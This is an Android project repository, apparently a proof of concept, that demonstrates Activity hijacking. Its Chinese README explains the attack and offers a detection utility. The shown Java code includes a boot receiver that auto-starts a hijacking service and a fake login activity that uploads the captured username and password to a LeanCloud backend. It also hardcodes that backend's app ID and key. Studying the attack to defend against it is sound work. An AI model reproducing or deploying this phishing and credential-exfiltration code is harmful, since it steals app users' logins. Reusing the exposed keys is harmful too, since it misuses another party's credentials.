├── app ├── .gitignore ├── src │ ├── main │ │ ├── res │ │ │ ├── drawable-xhdpi │ │ │ │ ├── ic_lock.png │ │ │ │ └── ic_phone.png │ │ │ ├── drawable-xxhdpi │ │ │ │ ├── main_bg.png │ │ │ │ ├── ic_yanzheng.png │ │ │ │ ├── checkbox_nor.png │ │ │ │ ├── clear_normal.png │ │ │ │ └── checkbox_checked.png │ │ │ ├── mipmap-hdpi │ │ │ │ ├── ic_launcher.png │ │ │ │ └── ic_launcher_round.png │ │ │ ├── mipmap-mdpi │ │ │ │ ├── ic_launcher.png │ │ │ │ └── ic_launcher_round.png │ │ │ ├── mipmap-xxxhdpi │ │ │ │ ├── ic_launcher.png │ │ │ │ └── ic_launcher_round.png │ │ │ ├── drawable │ │ │ │ ├── shape_cursor.xml │ │ │ │ ├── checkbox_selector.xml │ │ │ │ └── shape_corner_orange.xml │ │ │ ├── layout │ │ │ │ ├── activity_main.xml │ │ │ │ ├── activity_fake_login.xml │ │ │ │ └── activity_fake_cashbox_login.xml │ │ │ └── values │ │ │ │ ├── styles.xml │ │ │ │ ├── colors.xml │ │ │ │ ├── dimens.xml │ │ │ │ ├── attrs.xml │ │ │ │ └── strings.xml │ │ ├── java │ │ │ └── com │ │ │ │ └── iboxpay │ │ │ │ └── hackandroid │ │ │ │ ├── BootBroadcastReceiver.java │ │ │ │ ├── MainActivity.java │ │ │ │ ├── HackApplication.java │ │ │ │ ├── FakeCashboxLoginActivity.java │ │ │ │ ├── AntiHijackingUtil.java │ │ │ │ ├── HackService.java │ │ │ │ └── FakeLoginActivity.java │ │ └── AndroidManifest.xml │ ├── test │ │ └── java │ │ │ └── com │ │ │ └── iboxpay │ │ │ └── hackandroid │ │ │ └── ExampleUnitTest.java │ └── androidTest │ │ └── java │ │ └── com │ │ └── iboxpay │ │ └── hackandroid │ │ └── ExampleInstrumentedTest.java ├── proguard-rules.pro └── build.gradle ├── settings.gradle ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── .gitignore ├── README.md ├── gradlew.bat └── gradlew /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /app/src/main/res/drawable-xhdpi/ic_lock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xhdpi/ic_lock.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea 5 | .DS_Store 6 | /build 7 | /captures 8 | .externalNativeBuild 9 | gradle.properties -------------------------------------------------------------------------------- /app/src/main/res/drawable-xhdpi/ic_phone.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xhdpi/ic_phone.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-xxhdpi/main_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/main_bg.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-xxhdpi/ic_yanzheng.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/ic_yanzheng.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-xxhdpi/checkbox_nor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/checkbox_nor.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-xxhdpi/clear_normal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/clear_normal.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-hdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-mdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/drawable-xxhdpi/checkbox_checked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/checkbox_checked.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_cursor.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Mon Sep 04 10:30:30 CST 2017 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-3.3-all.zip 7 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | -------------------------------------------------------------------------------- /app/src/test/java/com/iboxpay/hackandroid/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | package com.iboxpay.hackandroid; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | /** 8 | * Example local unit test, which will execute on the development machine (host). 9 | * 10 | * @see Testing documentation 11 | */ 12 | public class ExampleUnitTest { 13 | @Test 14 | public void addition_isCorrect() throws Exception { 15 | assertEquals(4, 2 + 2); 16 | } 17 | } -------------------------------------------------------------------------------- /app/src/main/res/drawable/checkbox_selector.xml: -------------------------------------------------------------------------------- 1 | 2 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /app/src/main/java/com/iboxpay/hackandroid/BootBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.iboxpay.hackandroid; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.util.Log; 7 | 8 | /** 9 | * Created by zhangbiao on 2017/9/5. 10 | */ 11 | public class BootBroadcastReceiver extends BroadcastReceiver { 12 | //重写onReceive方法 13 | @Override 14 | public void onReceive(Context context, Intent intent) { 15 | //后边的XXX.class就是要启动的服务 16 | Intent service = new Intent(context,HackService.class); 17 | context.startService(service); 18 | Log.v("TAG", "开机自动服务自动启动....."); 19 | //启动应用,参数为需要自动启动的应用的包名 20 | // Intent intent = getPackageManager().getLaunchIntentForPackage(packageName); 21 | // context.startActivity(intent ); 22 | } 23 | } -------------------------------------------------------------------------------- /app/src/main/java/com/iboxpay/hackandroid/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.iboxpay.hackandroid; 2 | 3 | import android.app.Activity; 4 | import android.content.Intent; 5 | import android.support.v7.app.AppCompatActivity; 6 | import android.os.Bundle; 7 | import android.util.Log; 8 | import com.avos.avoscloud.AVException; 9 | import com.avos.avoscloud.AVObject; 10 | import com.avos.avoscloud.SaveCallback; 11 | 12 | public class MainActivity extends Activity { 13 | 14 | private static final String TAG = "Hack"; 15 | 16 | @Override 17 | protected void onCreate(Bundle savedInstanceState) { 18 | super.onCreate(savedInstanceState); 19 | setContentView(R.layout.activity_main); 20 | Intent intent = new Intent(this, HackService.class); 21 | startService(intent); 22 | Log.w(TAG, "onCreate: Activity 启动劫持 Service"); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /app/src/androidTest/java/com/iboxpay/hackandroid/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.iboxpay.hackandroid; 2 | 3 | import android.content.Context; 4 | import android.support.test.InstrumentationRegistry; 5 | import android.support.test.runner.AndroidJUnit4; 6 | 7 | import org.junit.Test; 8 | import org.junit.runner.RunWith; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | /** 13 | * Instrumentation test, which will execute on an Android device. 14 | * 15 | * @see Testing documentation 16 | */ 17 | @RunWith(AndroidJUnit4.class) 18 | public class ExampleInstrumentedTest { 19 | @Test 20 | public void useAppContext() throws Exception { 21 | // Context of the app under test. 22 | Context appContext = InstrumentationRegistry.getTargetContext(); 23 | 24 | assertEquals("com.iboxpay.hackandroid", appContext.getPackageName()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in /Users/zhangjun/Library/Android/sdk/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | 19 | # Uncomment this to preserve the line number information for 20 | # debugging stack traces. 21 | #-keepattributes SourceFile,LineNumberTable 22 | 23 | # If you keep the line number information, uncomment this to 24 | # hide the original source file name. 25 | #-renamesourcefileattribute SourceFile 26 | -------------------------------------------------------------------------------- /app/src/main/java/com/iboxpay/hackandroid/HackApplication.java: -------------------------------------------------------------------------------- 1 | package com.iboxpay.hackandroid; 2 | 3 | import android.app.Application; 4 | import com.avos.avoscloud.AVOSCloud; 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | 8 | /** 9 | * Created by zhangjun on 2017/9/4. 10 | */ 11 | 12 | public class HackApplication extends Application { 13 | 14 | @Override 15 | public void onCreate() { 16 | super.onCreate(); 17 | // 初始化参数依次为 this, AppId, AppKey 18 | AVOSCloud.initialize(this, "wRjV2GkEc3EoLBrIxollfTV2-gzGzoHsz", "5DbaYzRTLT2n1FCRq5Ov23qQ"); 19 | AVOSCloud.setDebugLogEnabled(true); 20 | } 21 | 22 | private List HackedProcesses = new ArrayList(); 23 | 24 | public void add(String activityName) { 25 | 26 | HackedProcesses.add(activityName); 27 | } 28 | 29 | public void clear() { 30 | HackedProcesses.clear(); 31 | } 32 | 33 | public boolean isHacked(String activityName) { 34 | return HackedProcesses.contains(activityName); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 什么是 Activity 劫持 2 | 如果在启动一个 Activity 时,给它加入一个标志位 FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马 3 | 呈现给用户。但是这样的设计却有一个缺陷。如果这个 Activity 是用于盗号的伪装 Activity 呢? 4 | 在 Android 系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序, 5 | 启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的 6 | Activity。如果这个 Activity 是登录界面,那么就可以从中获取用户的账号密码。 7 | 8 | 一个运行在后台的服务可以做到如下两点: 9 | 1. 决定哪一个 activity 运行在前台 10 | 2. 运行自己 app 的 activity 到前台 11 | 12 | 13 | 这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样 14 | 的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的 15 | 把用户信息上传到服务器了。这样是非常危险的。 16 | 17 | # 如何劫持的 18 | 参考 HackService 19 | 20 | ps:5.0 以上上述劫持方法失效,hack程序不在前台的时暂时获取不到当前运行 activity. 21 | 22 | # 如何反劫持 23 | 使用 AntiHijackingUtil 即可. 24 | 用法很简单,只需要在需要使用检测方法的Activity的 onStop()方法中调用工具类的 checkActivity()方法,接收返回 25 | 的 boolean值进行判断即可,下面是一个简单示例: 26 | ``` 27 | @Override 28 | protected void onStop() { 29 | super.onStop(); 30 | boolean safe = AntiHijackingUtil.checkActivity(this); 31 | if (safe){ 32 | Toast.markText(this, "安全", Toast.LENGTH_LONG).show; 33 | } else { 34 | Toast.makeText(this, "不安全", Toast.LENGTH_LONG).show; 35 | } 36 | } 37 | ``` 38 | 最后大家有问题提issue吧,还有些其他的安全问题可以在博客中继续留言.https://zjsnowman.com/2017/09/06/Android-%E5%AE%89%E5%85%A8/ 39 | 40 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 25 5 | buildToolsVersion "25.0.2" 6 | defaultConfig { 7 | applicationId "com.iboxpay.hackandroid" 8 | minSdkVersion 15 9 | targetSdkVersion 25 10 | versionCode 1 11 | versionName "1.0" 12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 13 | } 14 | buildTypes { 15 | release { 16 | minifyEnabled false 17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 18 | } 19 | } 20 | packagingOptions{ 21 | exclude 'META-INF/LICENSE.txt' 22 | exclude 'META-INF/NOTICE.txt' 23 | } 24 | lintOptions { 25 | abortOnError false 26 | } 27 | } 28 | 29 | dependencies { 30 | compile fileTree(dir: 'libs', include: ['*.jar']) 31 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', { 32 | exclude group: 'com.android.support', module: 'support-annotations' 33 | }) 34 | compile 'com.android.support:appcompat-v7:25.3.1' 35 | compile 'com.android.support.constraint:constraint-layout:1.0.2' 36 | compile 'com.android.support:design:25.3.1' 37 | // LeanCloud 基础包 38 | compile ('cn.leancloud.android:avoscloud-sdk:v4.4.4') 39 | testCompile 'junit:junit:4.12' 40 | 41 | 42 | } 43 | -------------------------------------------------------------------------------- /app/src/main/java/com/iboxpay/hackandroid/FakeCashboxLoginActivity.java: -------------------------------------------------------------------------------- 1 | package com.iboxpay.hackandroid; 2 | 3 | import android.support.v7.app.AppCompatActivity; 4 | import android.os.Bundle; 5 | import android.view.View; 6 | import android.widget.Button; 7 | import android.widget.EditText; 8 | import com.avos.avoscloud.AVException; 9 | import com.avos.avoscloud.AVObject; 10 | import com.avos.avoscloud.SaveCallback; 11 | 12 | public class FakeCashboxLoginActivity extends AppCompatActivity implements View.OnClickListener { 13 | private Button mLoginBtn; 14 | private EditText mUserNameEt; 15 | private EditText mPasswordEt; 16 | 17 | @Override 18 | protected void onCreate(Bundle savedInstanceState) { 19 | super.onCreate(savedInstanceState); 20 | setContentView(R.layout.activity_fake_cashbox_login); 21 | mLoginBtn = (Button) findViewById(R.id.btn_login_submit); 22 | mLoginBtn.setOnClickListener(this); 23 | mUserNameEt = (EditText) findViewById(R.id.edtTxt_login_userName); 24 | mPasswordEt = (EditText) findViewById(R.id.edtTxt_login_pwd); 25 | } 26 | 27 | @Override 28 | public void onClick(View v) { 29 | switch (v.getId()) { 30 | case R.id.btn_login_submit: 31 | AVObject product = new AVObject("Hack"); 32 | product.put("useName", mUserNameEt.getText().toString()); 33 | product.put("password", mPasswordEt.getText().toString()); 34 | product.saveInBackground(); 35 | moveTaskToBack(true); 36 | break; 37 | default: 38 | 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /app/src/main/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 19 | 20 | 26 | 27 | 34 | 35 | 36 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 12 | set DEFAULT_JVM_OPTS= 13 | 14 | set DIRNAME=%~dp0 15 | if "%DIRNAME%" == "" set DIRNAME=. 16 | set APP_BASE_NAME=%~n0 17 | set APP_HOME=%DIRNAME% 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windowz variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | if "%@eval[2+2]" == "4" goto 4NT_args 53 | 54 | :win9xME_args 55 | @rem Slurp the command line arguments. 56 | set CMD_LINE_ARGS= 57 | set _SKIP=2 58 | 59 | :win9xME_args_slurp 60 | if "x%~1" == "x" goto execute 61 | 62 | set CMD_LINE_ARGS=%* 63 | goto execute 64 | 65 | :4NT_args 66 | @rem Get arguments from the 4NT Shell from JP Software 67 | set CMD_LINE_ARGS=%$ 68 | 69 | :execute 70 | @rem Setup the command line 71 | 72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 73 | 74 | @rem Execute Gradle 75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 76 | 77 | :end 78 | @rem End local scope for the variables with windows NT shell 79 | if "%ERRORLEVEL%"=="0" goto mainEnd 80 | 81 | :fail 82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 83 | rem the _cmd.exe /c_ return code! 84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 85 | exit /b 1 86 | 87 | :mainEnd 88 | if "%OS%"=="Windows_NT" endlocal 89 | 90 | :omega 91 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_corner_orange.xml: -------------------------------------------------------------------------------- 1 | 2 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 30 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 56 | 57 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #3F51B5 4 | #303F9F 5 | #FF4081 6 | #00000000 7 | 8 | 9 | #4d4d4d 10 | 11 | #787878 12 | 13 | #adadad 14 | 15 | #e9e9e9 16 | 17 | #dcdcdc 18 | 19 | #f3f3f3 20 | 21 | 22 | #000000 23 | #8e8e93 24 | #c8c7cc 25 | #dcdcdc 26 | #000000 27 | #ffa700 28 | 29 | 30 | @color/dark_gray 31 | @color/light_gray 32 | #CCCCCC 33 | #ededed 34 | #232736 35 | @color/cashbox300_gray 36 | 37 | #ffffff 38 | #d2d2d7 39 | @color/text_view_color 40 | #ff6a00 41 | #ff3030 42 | #3cb034 43 | #ffae3b 44 | #359a2e 45 | 46 | 47 | #ff232736 48 | #efeff4 49 | #bebebe 50 | #C8C7CC 51 | @color/orange 52 | #e66205 53 | 54 | @color/text_view_color 55 | @color/text_view_hint_color 56 | @color/cashbox300_dark 57 | @color/cashbox300_silvery 58 | #fbfbfb 59 | @color/gray 60 | 61 | #eb9a17 62 | #f02e2f33 63 | #fafafa 64 | #000000 65 | #8e8e93 66 | #ff6d00 67 | #1d3a4d 68 | 69 | #e92222 70 | #4c000000 71 | 72 | 73 | #ff8f3b 74 | #8e8e93 75 | #007aff 76 | 77 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_fake_login.xml: -------------------------------------------------------------------------------- 1 | 12 | 13 | 14 | 21 | 22 | 26 | 27 | 32 | 33 | 36 | 37 | 45 | 46 | 47 | 48 | 51 | 52 | 63 | 64 | 65 | 66 |